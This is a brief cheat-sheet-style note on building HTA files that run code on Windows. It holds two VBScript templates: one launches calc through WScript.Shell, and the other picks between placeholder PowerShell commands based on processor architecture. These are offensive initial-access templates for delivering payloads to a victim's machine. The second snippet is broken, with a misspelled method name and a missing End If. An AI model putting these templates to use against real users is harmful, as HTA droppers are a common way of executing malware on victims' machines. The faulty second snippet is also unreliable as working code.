# Using HTA Files

## Creating HTA files

Using VBScript

```
<script language="VBScript">
Function own()
    Set shell = CreateObject("wscript.Shell")
    shell.run "calc"
End Function
own
</script>
```

Using Powershell with VBScript

```
<script language="VBScript">
Function own()
    Set shell = CreateObject("wscript.Shell")
    If shell.ExpandEnviormentStrings("%PROCESSOR_ARCHITECTURE%") = "AMD64" then
        shell.run "PS Comand"
    Else
        shell.run "PS Command"
End Function
own
</script>
```
